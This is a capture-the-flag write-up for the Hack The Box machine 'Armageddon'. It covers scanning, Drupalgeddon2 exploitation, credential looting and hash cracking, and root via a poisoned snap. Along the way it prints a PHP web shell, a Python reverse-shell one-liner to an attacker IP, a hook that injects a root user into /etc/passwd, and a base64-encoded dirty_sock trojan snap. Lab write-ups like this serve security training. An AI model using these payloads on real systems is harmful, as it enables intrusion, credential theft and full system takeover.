Welcome to the Armageddon writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Armageddon

tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.233
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-27 21:18 CET
Nmap scan report for 10.10.10.233
Host is up (0.094s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.54 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80 10.10.10.233
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-27 21:19 CET
Nmap scan report for 10.10.10.233
Host is up (0.094s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Linux 3.13 (93%), DD-WRT v3.0 (Linux 4.4.2) (93%), Linux 4.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   93.67 ms 10.10.14.1
2   93.81 ms 10.10.10.233

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.58 seconds

Exploitation

When I enter the web I see that it is made in Drupal according to the following line of the source code header.

<meta name =" Generator "content =" Drupal 7 (http://drupal.org) "/>

It is well known that Drupal is usually exploitable with a script called Drupalgeddon.

$ ruby drupalgeddon2.rb http://10.10.10.233/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn´t an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo IVOJOYFG
[+] Result : IVOJOYFG
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[!] Response: HTTP 200 // Size: 6.   ***Something could already be there?***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
armageddon.htb>>

Note: If you can not the script, maybe is due to the highline, which must be installed. In order to do so, execute the following line of code.

gem install highline

Because Drupalgeddon doesn't provide an interactive shell, we can use python and netcat to obtain one.

armageddon.htb>> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.26",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Post exploitation

Enumeration

We can read the database credential in the settings.php file of the Drupal files.

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
drupaluser:CQHEy@9M*m23gBVj

And with this credentials, we can get the drupal users and his hashes.

sh-4.2$ mysql -u drupaluser -p"CQHEy@9M*m23gBVj" -e "use drupal; select name,pass from users;"

name                    pass
brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

To crack the hash, we can use john.

$ john hash.txt -w /usr/share/wordlists/rockyou.txt --format=Drupal7

Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
booboo           (?)
1g 0:00:00:00 DONE 2/3 (2021-03-27 22:49) 5.555g/s 888.8p/s 888.8c/s 888.8C/s joshua..bradley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

SSH

Let's connect with SSH with the user brucetherealadmin and booboo password.

$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233´s password:
Last failed login: Sat Mar 27 21:23:07 GMT 2021 from 10.10.14.10 on ssh:notty
There were 3 failed login attempts since the last successful login.
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$

And now, we can read the user flag.

[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) grupos=1000(brucetherealadmin) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
CENSORED_FLAG
[brucetherealadmin@armageddon ~]$

Privilege escalation

Method 1

This method consists of creating a poisoned snap package with a hook to run our payload at installation time.

At first, we need to install snap with

$ apt install snapd

and now, we can install the snapcraft, we can download the .deb package from here and install it with

$ dpkg -i snapcraft_3.0ubuntu2_all.deb

Now, remember to start the snapd service with the following command.

sudo systemctl start snapd

It's time to create our own poison snap. If we do not know how to do it, in this link we can see a small tutorial

As a first step, we need to start a new package.

$ snapcraft init
Created snap/snapcraft.yaml.
Go to https://docs.snapcraft.io/the-snapcraft-format/8337 for more information about the snapcraft.yaml format.

Now we need to create the structure of our package.

$ mkdir -p snap/src/bin/
$ mkdir snap/hooks
$ chmod a+x snap/hooks/install
$ chmod a+x snap/src/bin/x4v1l0k

Once the structure is created, we have to create our poisoned script with the payload we want.

$ echo '#!/bin/sh -e' > snap/src/bin/x4v1l0k
$ echo 'echo Done!' >> snap/src/bin/x4v1l0k
$ echo '#!/bin/sh -e' > snap/hooks/install
$ echo 'echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd' >> snap/hooks/install

Once we have created the file with the payload, we have to create the .yaml file with the package commands.

name: user-injector
base: core
version: '0.1'
summary: Privileged user injector
description: |
  This is an privileged user injector

grade: devel
confinement: strict

parts:
  x4v1l0k-service:
    plugin: dump
    source: snap/src/

apps:
  x4v1l0k:
    command: x4v1l0k
    daemon: simple
    plugs: [network]

hooks:
  install:
    plugs: [network]

Now we must compile our poisoned package with snapcraft.

# snapcraft
The 'snap' directory is meant specifically for snapcraft, but it contains the following non-snapcraft-related paths, which is unsupported and will cause unexpected behavior:
- multipass
- multipass/3531
............................................................................
............................................................................
............................................................................
............................................................................
If you must store these files within the 'snap' directory, move them to 'snap/local', which is ignored by snapcraft.
snapd is not logged in, snap install commands will use sudo
snap "core" has no updates available
Pulling x4v1l0k-service
+ snapcraftctl pull
Building x4v1l0k-service
+ snapcraftctl build
Staging x4v1l0k-service
+ snapcraftctl stage
Priming x4v1l0k-service
+ snapcraftctl prime
The command 'x4v1l0k' for 'x4v1l0k' was resolved to 'bin/x4v1l0k'.
The command 'x4v1l0k' has been changed to 'bin/x4v1l0k'.
Snapping |
Snapped user-injector_0.1_amd64.snap

It's time to upload it to the machine.

[brucetherealadmin@armageddon ~]$ curl 10.10.14.11/user-injector_0.1_amd64.snap -o user-injector_0.1_amd64.snap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4096  100  4096    0     0  20104      0 --:--:-- --:--:-- --:--:-- 20177

And now, we can install our poisoned package.

[brucetherealadmin@armageddon ~]$ sudo snap install --dangerous user-injector_0.1_amd64.snap
user-injector 0.1 installed
[brucetherealadmin@armageddon ~]$

We check if our paylaod has worked correctly and our new user has injected us in the passwd file.

[brucetherealadmin@armageddon ~]$ cat /etc/passwd | head -n 2
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash

Perfect! now we can authenticate with our new user and enjoy root!

[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) grupos=0(root) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]# cat /root/root.txt
CENSORED_FLAG
[root@armageddon brucetherealadmin]#

Method 2

This method used an already existing snap package. You can obtain the trojan snap package from GiHub. In order to obtain the package execute the following command.

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > malware.snap

This snap creates a new system user with the following creds dirty_sock:dirty_sock. This user can use sudo with any command. Hence, we can become root.

[brucetherealadmin@armageddon tmp]$ su dirty_sock
Password: dirty_sock
[dirty_sock@armageddon tmp]$ sudo su
[sudo] password for dirty_sock: dirty_sock
[root@armageddon tmp]# wc -c /root/root.txt
33 /root/root.txt